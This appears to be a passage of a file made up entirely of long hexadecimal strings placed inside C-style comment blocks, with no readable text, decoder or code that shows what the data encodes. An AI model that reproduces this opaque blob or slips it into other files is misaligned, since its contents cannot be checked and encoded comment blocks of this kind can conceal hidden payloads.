d61f6b2d7f938a9b90fe7d4dbdf83df02c0c66db50f02c23509704a71cc0ab36a7872e4ae6154ac68defbbcaf7b18ff14382484a6f6ada63ba167552494d6dd74acec3e80296402365ebd4443329dc5200811e6c459ad6e0e2f81b2b47bfdb2bc1bcef29fe045e6f7e988c39a97efc1f065be8e6594900dd62047eeca4663d6eccb1cd2ddc968bd72ac3af2e15d5ac0ece78ba176c712c76fe574e2334cf08078f4f756dcd30ab6900172ea89d4b6cd489c692cfd7b13a1aa330a3a41470b2b8395dcfee50e469a9f0a15502f550bddd4850abb9689b2ad3df1ed0639b7ecf7f058439ef27d1726d49fce91e8a76ac8a123c9bb4260601051f2225a61ecfb487f242acb17a25a48ae711699f91ba67a2b403fbab450e455f5ea6ffa0068d8a777aa5477146eb090136aeec5ea649bdd65622f67d56f1f280a9facb4bc06b83a3b448bb9961881f4e022f5d323a376d18063bf1b1c6fa22bed5811df4335c8c8598badfff46b207321f59ef09eec8d5ba6139dfda8b551f0d4fbe2b8d1999f5090ab8752c202ad27b8189fa5f52437e1e138b68ee8229a6944f47d8c1a097650936bc7c3ee9fcb2cd5ca64f1fed0d4cb71769baa81a970e744a8764d9f690ca26704bc1ab06327e898fe3d6bbb1d1aa562890357ccb026079233044451cb8ff9fed0726266a14b*/
/*180cacc47fffdb4ea40fbe42e2cd92987a6a9ebd301e64f4ea94537e8d2b6336cd8c1dc18c621c5abe74693a51cbcdcf1662c1ad60c8a0cb40dbca7ee322652d297de14d8098e3e2b89d38378b47be8b00439b2fca22682d33db56c938c538414171417158b6706d82df2450eeb4cc514a7684c3f18d894f295c5944b443722a1fd46219eff87a2ca30de9a6f56421d8935f7c82ebf67111f4de12c224db7da3986545532137e674b9c55fa5bb73cd037a6950f8e72cf561956210dcab5c6862cb0d93bbe68a1de4f48149387cdb30fd6e519283f32ca7248c4f397103437ea49325a63b1d240695d86cb27cc41258bb5e5060be9a926b2ce0d266db5312b93bcb824e2b20dd7a618e5e9a995fa4fdee1d153e0f7ac8a433d8d7e99a82cb9e286021fb607e702f20dab53a0eea772105c33e11da56f8bd556b58df7a1d6b90d8cd6f1801777874a16daa0070ca724def0b6d6b2f63392afbd8befd7de8f2fdc6ced206bc4bd7e2b252542641d14dca0abfcf65d23a81c50be3b2b72bd49d24217a75f017589d106f7b5b65a1b41903f82c542a236733e1c8862cc0e8112e4b60cc292a7e403aeb84ca5b8f0910d4c9072cc06f5d935db506d8df95ed0532cb0071b6caa3e88d75834c00af23f2893774f9c977b0e44f1f4fa7cff95f9e212e0f9475af29f16f4bb678d52b0c8a7a57c0f284eeed416c98f85ab0ec91775c8d61313991331b628117636941ad831f58106c08c45ab1efa7a8440f1cd6b99fe01a34959e8a210f0594790b20565c62afd11c31b71d1b034efe76dc7bc9ed8eb95a43671b3f05b311e4e1826f79979ff2c51c276fa4f808c1b947e7432823bd494224e0da8042a208c468d99db427ab823d8b9a97f82dc9ff4a32dc7a5d367bb7fb444d4006e41289ba728cd1bb3db39405026bd8e7485f30320781631a074d016d4c0733121d8aab7651c51bdd89396ba0d0a95407425de27e4e917bcb0f285ee194fa952df3e147bf8b6f30ba81439d3b4ea7bd9d3079e2f7d28c85c796e37cc4c596d1fff69d8a41cde3f1a7cf498a18dbcf4d1ad158087dffb1c9ca05b2a177937fd20e3b27af464d8294cd2bd3ae557f7fe1595d711b326a5a31915a7af55c908cc3d0a0310d56dc08572a788afe001b1378d693c1599e159942b6957563aabf8900a123e9eedd01e48fed48e9100d582037727f31ab89e60a1250714cddb9df4e4eee59f72a30ada7f08bf3be8d0deb6dbff095793ab44bed441d16df5f6181c900e0eba127986220655b910532607f9083fb1b3bfa9d2cde18be8ce0cfd8f46706f7fa8951b2f3d0f05318c446462fe45f2a5e734000f5386a6b55c140aa083e23830788b082a5b8fae213d58a21718825b443f52a2153f21688c5ae9eed69c5692ccfe6bd3e9b3c8ae5621511a1d7cbb16c1825ece39e16eb7adfb38e6ffe71262a25c0ee734802f2383387cb9ee330d96572bf2c2df66082e946a7ed7c257017cfdd964d197c82fc96063721b3afc93f0479e205a115befd00a869c9db3e72f6aaebab146c752453a088f392ff335176d347bd21c37178fd839749770ded95683504106989145004909f73036f2161334a66fcb63ef257829e15a9a2c4c6d4eea67bebad9cf0e26822a2f7763d32b4e07ec2717b54a99218501735b91dfc94fb72af127bdfb0356c38a8254e2b3ca684ff07a7adfbf4bffd3d36c795492fe0e5a06d6f9a714a2cd59db918f6a33c044c7b8f175a333a9b86e71a6bc1977fb5cc73af678aafb6fb18d71bf739e83278eb9aac324cc9f85f58c2792671900649a93de6b1592d68069bd56cd8696184104276be1d711b4af9843dd58b749b49b5d1dc666eeba8631137d58a9e38c8901aac46534746f60a8c4cc75cfa379eb87afbc1bd269f3d623882e276c40eb155dcc85fccfb408034797bd09c57b905a9c42a6c7b389258e56c96cf94654f4b7a81b72ccfea34480862fabcf0df0bd01db1e5b1cc5b73d004dad8a888301ca6078eb7a45eb2dde9578273b920374a0d3b687bfcf452e1fb4c0b0c0456dbd3e5fae8c5c4d49faa11947fe0345cb4cfb542341000cda36a454bafd0cea0bcf0e101f5678635a2534bce9de7099abd81038a08eee4afd143093374da72885e95f1aa5488dfd536d4cd3206dac0683aa96fc410b05eb73b46295640425ae43c711cd270b8aa0810cb8c664db9e05efcb59f9b814e79ee3c950022ca778af46b13042b5c737ccbde5596cc72ddab474d904f02f63f3928dfaddf53c0c7b96a5214abf60b98184f9598d53efc9e0babec85f3f20a55bb9b390c154569b5fc5a170dd6e5ecc1049f6d6790d6d7b20fbd8a9fe8359db9800d7590a17f3d4074accdbbf3ad8425e80503d5589121a2b65df1d04d822daafacd829ed5067e6da772112ab40056784d29f3c0f6d3075f008213c62a74297d37098e3154376f0c5db0bbb3392b337da2e91f9978b4e3681f6f02ab8aaeb063dd0481e482215594a1a73ca307da37d3cd3b315d2e1c1522bf8fc4ce701a1668fa9f2bf794910e65570c5d9be84c6f8c95ec9796d5804f584b82f566bede651dacb6e1349d92fe7dc5f606cf5b1a2ef700032f8b4cecbddd81bc5bb740b4d2d5f019a9cfb6a707054ab1963b33dc2da980dca844c9a7475b1cc502adef39b495dc3f6344954111ddbddbd3dc2b9cfc427e29c00416a2628ec726da0f81b0e2573c4bb6daaa5fc03f66c24a7887ee1ed204c5b817bfdc6fad6d53910c3910ce1c6a0095c2843f783f880124a0621466c176f8b8be2520a815daf1ceccb69b73f5409900eada0ff67506a31b8e05*/
/*0b6fceb0f81018e58f98300f8f3448c2125ff5116c22b8486d7b1b1f44dc9d6c6056cc2c427dd97efd453b51384c41228f5363bdcdb49ce85bd75235427e3b04e9942de798f94384192356c81f7aafec495df95ae60a2081bdae55260ca7fcc8ec5a9180c940a77bcdc3e6617c2a82b92267db350bc5b5b1df6856edcc507dfd44f2bc7529157d8732143896bbbddd4894c7097ae21a73b37cdac326d495bca47625808c095dc12e96b1c12ba2832ceb465618650a45dc7b8dde94c4c284468fe99c3929f3c1899360b5e90d15f672c269e5505157ac16b57c53df2f4cadc1500bc658d0a00f07e253ea5b6a685f06db604cb094fad418d03d9dc77b9887e2c010aa7d571f5401028db8ad431f02fa6bb34574ca1b908879b0bab958334c940ea21543fcb666a1c5fe499c8e0cba3b81b31e0897fe29cb34f9eef49f1a0f99f922bb42c81c5a01e357b0455608a718feebe99a15c6c21b5af7909fac72e14942992cc4a924ace0d5042b8858eb8cccaf4c474f8d0ed08e9d09d782ee6a1c065106e9b5118db5569794464b17d501302a73005e773ca366c19483044666df4fcc8d03d0de33547c39612b654066ec37e54b9f76ffdf53c4bf44be02cc7d5dfa834171705687a9583417c67546b7d286dace1d879515e83706fd0c6795f75b6a236799087d36ca11138921af233cd310d46448c4dc659b6201296c6009f482d3c843316acae6b85556fdfaaaf56a40582db80085848f664bef866853b6125fd4a535014a7dee742d918dc885b3a9e1477249fae10dbdb7abb0ab9fd001bca94ce4969ab06baa5e4dec7aaab98676b17a7e9560fdf9dfcf647eee2158ec3017d0971a4d468f0572eca94eddb1969e94f803357641d365efa851ab67fe7378d3ff1615c9462f4d56494479db98b690dc4a99487eedf8a615a0e6961391eaa0e32d035436df22eb3a43eeeaf10656f3e0451dd20e6f89edc6696a086449c1744935dd360a8b10266ea7b9fcab8de97457c682d76a486e0c5f366b78aca6c9aceafe52a4ceb8bcb6286a57460859b6a801c641d06d2dfd543130cca52449d9d11c425fb5c02051bdc11fe52fdd0e2fe6d9fee4f369c65b262ac7d3d64544b1d243674ee89fa3e0eb67622fcb69851b2e4c2f195ab79df04c8cb51f2c0dbee2169d516d9150fdb9d6ecf1184110e6d0450f3839e46ad4d7d07a65d28ea016b1e497bbf876345b86e9b14045c9ddad1237ecddff463908e2a954744f1524c01a74f9e5ec7ca29a42e6afb28b81b35b45e02a6867dd4d8af722181af667f2876d794e2758572999d4505d50f856a33c1a6bed44aa8a598d0fc3cc09aac66d1fb5677af5f8a7e5d43264a8308b66c9ecad84c531eaa9f9d537c924505a01426efd71f1310120ddbd365c8818f34bda1bd736ca9c797bc77c213dac92a83b8e23aca08edf15d9c06824f1cbdb7a71a71a9cf78d8b3cf935aa4a5302279c704654b698809722bd1fd52019b29254e08aad51589c14d4c368de979b65beac86f0684bd3d5e505eb6114f58196eb046cdc48a8c4a5eee669c591228bb2db09b378ee999d01b389ab733daf2469a5b2b86729ab2d1bbfdf817a0b8789e6f13f53465cad1d9b2cc9f0c14ebe36beda51adb2c8aa899ff082b11993408fd80fd82108c61a20d1d5f455e7558ecfdd4a6d2b8a4e91035451916518e469a3d0a82c571ed32a9ac79135d30bf32fedb98f809cb016edd8a2e6d93fb940e609363f4360e0982d2a528ffc4e8529227695d5b7481fb6b0da8fb8c27eb7255686c1615436b71b9213809f4618a78d94b191d83479794160b80ff083621d30de126529bbb5ea93d3b46a0436185330de7298bdd44462bd8db7bba77560a8b078334c6bc5fec27b1aa09ffe0dba0b0641a0772cd04f7a6fcaa491de9ff8f0ec87dae829436d09938a7680cd25767ff952526559d9361977beab178d11e5d885fc52f55ddf1a6a5d6b5a800011060c11aa738a00d40d70c14e22dc85664579e69e036bb870358adade6146b153892be4583e8c4b1a515c4097815c60f036a9c4388299953069383dae72e30a0bdc3a9d9905685c7e9156777e56064cd10ee47504670145ebe7c483466734c0b5bbfa9bcce49501bfba084dd810b15596b0e1abc3b87e6382a1e53d34e0de627417143d8382a3d5a1e124527e7bd4d2e0a9e485747200459e3c93f4295300b5b8ea2a944c73174907a496c714580cfc8954a7a5cccf962a7a660b71722855a959c33241ce1360778829b41722492d912a8a6b2332f96934ae8e5d8814bec2c69f6c048554c2576d24f2f010241458bcb739f1d209c9849e7eba758829578eedeeda343ea7588d34172dcf64dcd6bc05977015ce07475c38b388a33f2321e485b05267a60fd3e8052026a2ee99b6cb5ab5df05b1a3f7ef35ecb70fa2e5d3eb3a322299848af8bceea84c45a218054539ba82fd073508870a91011b77d727a32ac17c61af291298ad03a365cafa463a74cd0e846e79e02d14d3481996142c2fc189eddb4af0d0bb00c91eea70198d9fd2d65f7977e75e49b3040fb27e8d8569e3de26b997913dfaf763468d67bdfbe5392ca5ce695ed76b6ab0926bf9d98f767cefb07fd45ccecbca7f63cee54a61c06db360ccf92d7c3c82259b55d5b1fbc840b9d65da63590b63a6575c7135c43eec74bc6e999f037dcacbc14e1a0ce5a7d6fdafd64f5609ebace7bcc182c5341db5da0cba306147e37746f1cfe80ea85f6530c641a45d47331c3e12d9a3eea1abb54d4c88c698bef2b544446b48636eee47da820d0b524f071faf380a77fd5a4049804*/
/*1125fdb8dd30d9ca82c62708a38d80eaf7e679706c59fa2cba3f9430a53a8750daf7b2750fea1c113891c14f57f9e6a763f52fa909e0c68ddc37034c8316d646c28cab8068941869afa102797316154cba37c2831892486bbca7a6dd4a541492d07b7b119b27c401c1a4f58a7d12fa1c83cadd563ed13c8dcf6ffd439dfd10c40225a9985aeea6918faed29926fb789c6a63d47b19755c91552e2e11b806fc6d29cf1836c15d7487e3b5574efedefde559ed93b50a3587b247bc414d9d995465fc834bf8bb67f228277bdd8dfd48ba7872dc0af8054b1a18f4cb063146847e572ac5edce94eadc3648ee4de4a83821863c827e939e46b2786c0db87d2af51c4ebe28a2df5a80ac031bc2695533844f7b4c8723493822795e34cf5ac97d8637a100ef7a02432ec1da8ba32407affa7ad65c410b9de8b0374236dbfbd439b9258f2d1544efd1bc46650813d2a9f8550bfc7d8ed10a2e54e58b2a332522903a6f81218ad95990f3df4424c8e91907f045d3866dbe95aa8d8517efc34a7fefb0073c8e1fb987562764900e28452579c5ccaf7eaf3f687ba296c4cbd83c544c4fafb9c029faec26cfaea66931c620370edfbcf024852e30063b83f1b1d8cbf981be210f24557e22ad1de62caf6b9ec3c067e126a27bd5c98ed9b68272097b9c9a546730623fc2daf2456d2731e0db450de46273f18e3053e64f30485d3b08fd8da655890ede22456f128c41984011a6a37cb90402c701cc5189da1be1fc4832545434ac26ca5a6cb9ee3721ac4fdaa206df1a39a971787042112b3dab0de49fc3e2ab56a700ec2d144c0af31b5b5dc0d27e0abd007dbbdf47654152a1b267a6c0fb6fd034f34f2100a20e82123ceabc4ba97e0b75a8f743158fef3e0a1fc5d6b36fe7bee58e46f73061d0f2b5c7ff54762397478738a8303cd7036bd7d5b031b5b8e60fa700af0f9b39c13489928a7313c43e3fea24d24a01f5a50014a396c0982c3cd1477bbf02d26b48f471c88cbb318d832e933ec6243285965fed6dd1fc939c4a6ab62a2536dc415b3ea904067fae96afa3c38e809a5d9a08bf512beac3706fa7f9611427ca99e71ecb54fee4c755112d0eac3366e3114f0c84ebca7196702bb6032d2214fd3f6762f7bdc320b40b12e34f4087e1c99ea7ed079d3a80368b5e906b48cf87fd13c17eec3537663af58e322d0863fe28f687c05754dc47a19e6e748cc39d4c0a8d3c552d022fea59f5ca66d9d8bc70fb4c12d2679fef7f3522b9514a3b3fbe6e472a1b95ae906fe87bcabf7968e19fd6c200a05c8fe3461d9f17095e7895fc41e776daade6858012dda7fd96d1f51d3d51635c7625c43da44468dc731ec6ca7115a6045856af18da54c20a212841dac7e85b2949599f8a4aa4cc64fe6a27c5a16229a6572e88434a1da9aebe41238a036b94c2ba4a9666f5039986a1242266a67315edce2be2b45d5059b478a7c037d365d7bf281c4994b66e2c87d12dd385e4402821a6d135ddfd4b7b2434c7440b0c5cfee489367487b2952ee1656bc3b2ea6bae9e37c3ab6fb60a74b9459e8c59a1a754da8d0d548c89628fcddb8ca9ef30e21d4055d9766cb7a51019897cc5b197ad0947a7b3d99fad212989c42b532651127ce8ea6cc08b6366de4071dc72fb0a53606a80ee4e251242c7334610867bbadc1f6bb8a4b62880cb620f1f43844366fe9b2f2bbfca8ec917cf5a528c0803c681da5c70214ff91d6538973ac81468b1b4493c06c044240b6042ae848f5edab326bd5d2529f9c8dd5dd5bf0bf878aa29be7a94f091f3d68eab8cdcede76edd34c23d5c3a4836548768c3505be94623162262e62a5b3825711d029275749b625e6da11ec0003087d6f7246943b01aa77fbad4f6464ca31bbef39702e5c7aa2f9873342056ccb094c44b1fbd83e85f25b7ac1212fe1d43748e9da71c05ae04f3d678002e86505c459b47a8de4939e5b3defcdc53c17402245fe21a5fa4688299c0d13ccd87d6c2ca09d6bb1114bfa9c9b4598066fe353b9562bf8ddb7ca13b9a108356079d1b20ce77a7c1c159aa77050d418b7cddd8e6e17f8e7de35fd8a8f4a1349027cee567ab0725ffb78f8da55bffd1a215a938882a27dfd128d8e28883138ffe438323c96bd55433ae4a7e69bcd57e3e0da3997bf185da67820bc1fb4890e8754b653a9f16d6d35b507835f12a296f0d74d0a140b3f4ec1d737497b0d29dc2ce8ceef1c36acfe9a63fa94604d35973d5ed9b0413ea4e928ce485dbcbb0c9459131468e58f00b50c00196d7c5f51220803285b9fb88d90eb175035cdde48cb51e20e91ff3a923e9709023f80820554172bf01ae9c21760e6cf88483d0b5a392e55fc09abdbd45d18231320b41a192d0ed5685471a565c56df8b1fc8ee6deb51dc0aac2bcc9748904c7488a54da78e96c4aba730b61e3cb357c533fba58a9a837ca7c61ff58fce3e7c60cf37a1b8fe22b78919d4b9c43592c5905e72fdb413ec6da3356063e12a2c6e949bb3a461960588615c38d869a4b7ae1bac6307029e57fc7a363528edb7d6d7c8ef82407e3c8306b1810056621f90d222e073cbd2e897e35b0df27fcbd93497a0ac83c65ee88620029c2181a439cf305c25e3604a02048382b665fcceda30b0a70df51957dc6009a133c95eccfc900a3f769274bbb80b72f3a7d3249a617c04103128148bf2606408d81af316e59b2d6d1c1486e83b341827681ffa7eb5042491d12ef643790c89ea9b525339ba822ebbeb0e55c72df9c5a6a6d34ca0b1ecc0f71e4aabe53cdd31ca9dc5f5f2d574c2c1c772e73f31601d199c38c9b54508eb35*/
/*dd129c03861cd9d6a7a80eeb3169176041501b292c29a7dec6688d3505d1d4c39f2be1971e0e0804a29bef47a77958277bbdd27f4b0859cb6b82b9e599f4e6474e2955dbcf859cb9743d2aece63ac2cc9e1fe596b3fbd8aeae33e1db9bd1de5f200a4f443ad982f6b2d51d739e6de88bd342afcc703df5af9815200900e06efeca1d19745ec52e3dfbd2dffe192deedefefb0033e0ed63a258ea35bb9e262f51be88e2b3cd8c00dff0aa817fd4e7ba2220c4ec4e83e1ccd83758e435d2562cea6e2f8a11db24a1d33041a67666c42d53cad87434663aba01c50151e04e39f75c278c2c66fa1492c0394c5761c0b1b28b677714b119a9deb08bdfd69baf24046a298805a35cc25bcc25236e960c0f2b8389dc6685bde41a69cc62f6560a940d428bac92a4bd9d2cfdbcde7334ccd8502cdc0ca629bd0792abed778f6913e9933109527a4556dde085c4dc6039c1fb4c385970bdebdbe21bc2c8b4fd527194c237b9ef70dacd22dee9403eca7131f10a4b9e433360e837796aa335091cbddf4162f87dc0b2491b542e07ad8e786bedb1ce8cd18e78b6e01022ae7f0d673c8b0d87aa19791ccb7e7cbf17afaead20037db45dee8fbcf708642365d96d7ed38736849a20439cc2103aba44da67211d0eab7e90ca0f7e9be6cbadf50cef4f2b410a6cfb69c45a87e3cf15b779201c735e1dda197454f283e3f52d06ed29bae2f8182eb4490f34e7073ee842e4bad743ace408ed7c5914a440a5c9c3da3b3ad42c64d99f9b50e4d4334be89a36f4fe7cd7100dd2fd30ba6af2c7d9da4a7a5eabe5da5c8ec6ae99ac0940060a9571139aac62f34879f02c452321a40e05e28b599c4fe79becea570357e84a62526cad7f045c94c1046545702a635b87064483071b3f3cc0af7be42e24aa12d774e242b2b6c7970a8efc9965424c3ffbe13f6e53a723e991637f187b5ea2e3173c1824275f9df6a6ac2784cb819835d2c47d7e93b2c9cca0196194f41f005c6ff843a3d8ff623b8311ef0bdcc0b3a7bff21d92ff6bdaacb41811e1719d37e9b61a10d43a54e85c222b5a0b6652361cda64a8e22b92241af86efa7d45d4d2ed794e45af0d8027290db061be5988441bd486170c5976746b36c5901483a3fbb378e3858b79212d0a1078da20dcea3bec566e18b29cf8535540b0dc130d91b1bc8ec0c9951a853282bcf7525d050b9afc3dfc6fb9374339f083e1b362a2437e333f90da2137456d347024331e5a6bb83ac3d9b54ab7a2d9d8d0dbad6c9c87ad31bdf69e9edbf7ad26a7e5a132795d0b1fc7484afa51c51bde7a738ee64241e59db81ee2ad4b711f6a2079187f0c7bf0b67739310587ac94e8e5b9c149742b7477d2539d8f1807de3db68e7b19c29d3c55675b92e750043d7004cb0b1def8dae23a90178a7b984af39331d0f93daf6b52e5c7dcd792f537ba852210828dac0d8965d90748ea79e0269841b64b6253fe37d9e53e2dac74ae6457f4fc38b94f81f1d86dd46878b1d971a4dd944c15c984270285e2d7a58f089490a44c740755342a09ae2fa24101a24d88d3d96f5d70684f6a8ae5c4ca9cee06039e8b659f28e1020dab3459c933e87b9bdbe549811915f5f9a92dcdaf460731d15aad721d3cb54b8a3d3e9c56043829e765b79b1712824927e7e085c6ae8b2c3256c5f24113813cc85995471251642fb13c7495a04a538b2be7d296273f6468527e87b33553a98246ee69b7a84b9ec9d7adb46e834f5ba9c7b6683797fa311fc101e2182a6ac7bb1578313cc6623623f5bf72bf4396bf631b4b0f70c071fdf4941af0134171480555a0eaa0777eaf16d758f1b040850a5847ecb388b34e3d64b0a5b5c60b1915406238e9522244ee49aa1c467a618a617433f47c1f21083cf677908055aceb4af9ff341c226dac3fdbe833151b062531d7bb2a7e24ec3c8a8cf8e67091496a38623c635dd1721fe26bb1b7c1be946f88b7f0383e230ee0d74abcb830b948a1baf20753c8b21311e56104bb3fb71b8cf1dfc1b994ba099303316d5ccb725ec962dc1d56576f93031b844ec91fb1437eb0394f346189b5f669bb109a39b535eb57452f502ceb8c941feda38efa90cc512c9d5306c0cb5c702de7d5f298da150ec2fba6419ee76206e89eb706322a734eb7b0d5393abaf1b4255634b08a9ffe419006ad705da4b1c54e47003ab8e74cf03eb1f146fe37465d04af5638a43a64973a593ab897ae7fb1e09fa25f7876d46acb0548e896a692c5e583e094944673ea9122dbbb09951842af73bbfe056519f20b14e3aee1365a14bed7342356b610ff21ce5779cab2a4e36b477507322fbfcad9228858f489db4e50b986767d16b468b91ff416804ea12e8a88be92e09c76815994dd91437274daabef581fe1cff977b7fba12d6bc0e7df3bca662523b0d9960b26322b8b3f1d0e57aa27a4f9738eef186753bf88c7fb1259a1665a82e1375eb5d0bcc5ce2cd48d2f35dd50e336575fb4553b1f0c0682fad60603c95a844d7638c1316a8220befa456ab807dea72afc576a4f0884f338ffe5b91b2c69b349c3c53ba75e5974763e9a3ee30301863e0517754b434b3289d1b2663eb347516baf2893d58b9d3cb4f80f6d5dd6dfb60c0d9353b3882866ac86eb2cfef2781922deea8dcbe1599f427a571bb2552eefa0c0f53dcca3cb7092af9a171dd7f962fe3bf871b82b6f5cdc660b0ca019efe624da3959c2181a9e4fe4887c9467f18b3be630d2279865a14a85b2d1956de8b8d8e7dc862c12f71265a8a9a08ad60205757c999ce6000a98de336ede0d2ea140e27ba3999dd80ec748a67c898*/
/*7f5eb8818038b0061bef39640110d2d34d739e7d39bc2b22ded97a2bbc048b8d41ac4ab369d2b70417a07b92894563f34172412c003fc9a55b9e9872c86fa80c22d24761c423f4039da5fd38d1ac0ca14b38cf5804d3ac11ca730b3a22c1eb6f74bd14253e59d947f08d87d226e8d7a39fa1ed1096d1bc6b32efcc96130ae229249423378aa78b83677f46be096f9f61ffea3281e413f05d2c422cc58b7ae7eacbec10ad637bf36d91608f617360c1c7c5e17ed0c53d3c6d8c7c536ae4196551ae8dc9176388bdf5bcb6fe6a12cb8831d7af68f7763e7874a81298014ba141db05a3919ef4528a77f44c6f2cfcddd2ee81e377beb205a32e2bd8bb301e38089bff228ee382853e97856fcb8563d5785c4afafc93c61f98ea7a3c99ef202c498c3a482204e4a46c0a2574c086a68bf924e4cd2f2aa16f54966474be952d7d7781a6a8d30323439ae0c2d4f603e7907703547413d68b421d7c899da9c868a6d73adbb1730a4591a90150ef77d95382c98ed23a2ee3d00b287b22f19761c65ca4b2c5948d1498083795088adb2f8480f1e0a316f0d2ef654f04c6627d6d1cea0f430e0a782b52f68f7fc572d35231d23d161c85bda237a15cfc32990dbbd86edce8f375416e42eb6ed93a080fdc2ab613e01eaf3624951b2499134a301e38e220faa841f404f3eba3feeafff9ed21769fa8fa15e6b0fbe5cd77ebff6d32cbd22b64760d58a1abb29e8a4780bbf42823355e0057b66a18fc65f3d9e4adc9410f85ef28f12bb95c8a215325dc51fa3c32635f7fd709bccaf3ef7be9222db8cbe88bd8215a2ad5cb5f7dc297ff82c54b28696095071a174bb44fe577552ef7236db17225b0585f895f6f2b3b12109cd77c89c9334cfc15cc4e8d4600b2761b63673d03757037ed1f606cdcaafa9223d8120c32a11a8863dfc485d7085c9be29c07eb1f30c3bfa76e880746936fe82d6228408d4ad45a1af4c423ceed6b921f6c462536c22e2151f1915896bbcdf1c4f54d112ddbfeb53c4b73051513b9493acf911d9f1ffd81e7bb49113384783a8d1b25124aeea5a3669b393ff3b43e872d5ceedec3a0cd795054d1db458d1d3d9987ab185d4d84f324a16ba7f0c4b783e4f05a7e602d0bb978bbc75ac23c8e95a7e04f7cfc5499432628230f7cedfcce63663589d41ad1564b830afb000d9b92d8340399f5aaf8d271eed919844fc92b4fde918ac3cac019b48036ac0e5fe8954b9fdcb24e5e3eb6165421489efca74a871e448c201e2eac51e05031108237e1de5c0afb29b5aed51c7d63c9950966a77e241036192d4953c52848ef84b58a0c9ffca8e98bf64cce653c2cb101b242ad687505db53cce56e7e7e9e7d475a9e935192f282719ed6de8567eeda80ae362a54352d1518bb086d06f8df4dbb69754e5526b84f02ada30300d7592c88a38ba5383a420a93f78994c931840c91d42b59e3f780a6bfd83f27c50ab3e289bcd1cef73c26e033563e38fbe2c26f12719c7ef3052c1af326b16d769aa8a7151139c761643fb5ec86169f442a7a4feb5871c1e865234c38c35de037ab25c3a207e099bfa875dc0efce7bf1c70152a84bac544ef4d574856af8f1a0d6078e303fc351ca5c0ecfcf668234b41a8f8725f230fb671abfd7032098d93efd93f42bafadd987c234e250eab135f0b584b99f407a292412466f1b464d38ba59ad5a8ba1b1010a3c5b7e9b1d01cf720f3370fc3ea9bcea18496c31787150bf4c61a41bf4b6d2e3083e25fe704b1fd7e68e2bd2185724e7ffa3ed0f908c3680953704bafd297e21912683a9b9e73a66a798e7856947bb951ee2f88b3a8aff4921fd165120e86c4530135468a13b00b07c15f214ac321336aa85d906e70d5ff5a4df701798baa8912e859cd2a427fceed479d0d7edc50ed3ee55773762d746344931edf6bcb95c43cf7b55b1a79d5b12187369e1fbe722ac51dfe8346f371abdf51f380c340093f19fb72ce2704f8fe44c3287a97b159dfd5f6bf76eb146872aad3c7d61b410d3110ae54005658cef7680b092dd5e339bdea73b4e8203c33231b4e2a53943721ab607cdc2ecb63cafc54dddfd2871e55b5ed1653ec9ea6f12539c9ab664a9da6784fdf53f0326c928bc2bd368bb9b12d869d5d10475259c2f25ed844f534b493cb031d2bf9b64a2ea34a64f4acb5ef837e8bae8ba908c90b4e4ebe652dedd1518141f4fad2891167337cea81ce250744380853e95a4d95fd416ae4ce7f7a58d63656b99691e9ff2cf5be10bd567376220b4fccba060c3b26d0708ec2f9ebc3c7635560f3caa1306afc045d157291a3f7128b7931451e76804aa70c8e7e4dc71a1314b0b98a800d0595af07e5451e5bcb1fc14d901f47e012ac83b47d897512a7c4d64041ea98806f14e5bb7c4dc48c54ad4ff8b280d391cf5342cdf4685b2d4464df500ed402429cf02d2f752fc1fd512a222ba21e46bb768d8eca00d1cca1aafa759abc69645be4cc5e00d94edde4955b633271a128ad6a517419747eafe8105a1ca9747a9d2f04ba1fe28b9fc586c79af0bc538b776341f2d1725a19bc24eb85ebf095fbb25ecd8715ffca9393ed83e07e35750e000e5f4b83720e6e7fdf6f750ba3c46d2dfc60df3f9d65ea30501aeb9c1168de347526af760af4479fba5d28a59e1609dda0ee17507533a7c6072a5d949eae1b17b541e35dbdcab606824d1df84ea858ebd35c57312b33e827c51a01489d894618517e3a3d42c61269da37edd1fde17b52f6154d2c540938a36e7cfef50e17dc645d9c057851ca0eacfb2c6addce06f73e780dd8ece6ff04f3265963ee0893ede0*/
/*d0684c3acbd98e259b04edff6a46294669d02e813e2bf7e9f6f5fc6bb261317841a4caa508be89343fc38871c6063a7b09000fa5ad7d4dbc5608a84197f59ca6aac921ce4955fe34b043f113d156ec074f8bc89c47a11aca9ae56602c4322f621f6cf8ec1ce316904cbffb68674f77b5bd1b8508a960896797170afd8c327a7ea883d91ed710b810c359c16990703dccbf8b2d6bd95b26c2b590a9150e12591bc54279d64eae9754cbba4ec8ef14aebaf24d924f28410f9be99b77f24e9c29c5736ae6b33084dc574a770dec3f77317372dcf82026af23926787d5275b860064bb493db6271e03d19fe8f037d0cc7cea6668c495804d8267a0f5595e714940c86d2cfb9a30df2186b12979309ebb30f5a12f0f426bc41c052179041e45ecf1c169fb40709d37e34088c4d699e0000b2845b562988b80c0eac233f07c6ac8fc92adf318cd6ad4f337fb228cc0d92e770c2e5dcd4deeb34130c8020f6e785a5c0a92f9bbae245b3fd77bd26b6803802d89429c8a4cbf7bcfba5d5bf3a908e5478a621ce544df800a788cd436527e7202d19577d33c739b623f34a48e712c35972357d0beb75e24a3045ae44c830e497a123ac810cb6e9b9101eb7dc179b81e617d1420bf8dd2657faf03cc5df805d6c54e0f9d7aeb3a0c04e4fa2944a2cf49f53654c19af2fb862de9eb018b66e5beee3ceab40413b7dcbfd98e0595528f2c4c766e83333937354f4e95c0d1cbf9da48a930ec0f8d12db714635bbc47f770436ab2096be78b803d9ad1457e5047288dd66e37b614b146b68fadc38f5f39dc9d2bc67057340ec0e5940dde14bb293206089d6a7f617f094ec71640e138eb0c6f5763dd76ca6cc076ccddc095eb5d3c3f511b5406f0b53cf73e30a7d46704962ff0ed9951f88b1b9f76b05cb5e47410f6a485729dbdee0e767a37c740f36c46edc49b904f2a15074c8257b645b0f345d6e5ca87a70a9e0048d878eb47bbab46e2b3b69c77ac332555d34127fc0d5a978e81da032df11359b10d372c0ca3f9be6fc7e01d954c700ceaf4d4ce3cac9da6529bdb13c44e9e83461becd8248b5fed8c5bad57135727ccfe98a14767974e95eae810d0d54f2a6817739337a94f8fbdb64ee88c8676f243aed8f3cbd1e75d780469ff0303baa3704ce262022dba10372aabefd46c3e8aaa55aeee3f6c31b19a6680dbf39860745c01b46861f4b7c9f2b74aa2664ef2696eeb307b95368684a0584603d4bd671c4eb1fc627f5856bcbd2465fcf3363d0541421892d095b105220369b4065f9d9e9ad333b2aec652513b78e58365498c2d9418c66439f0c8845d12aa371c6b68f824a2cb5f78656b63d6af9aece12c3767b89a17abce853de1abe5fb46f027562376a545f2a20dc21b519ac0e42c2670718687378e173a158630e6157ff96f66b34ee5a4682297e97e89c04251fd763ea5b94e26088ce57750cb634a9aa64d3e2a1b568058644377b7308af0938f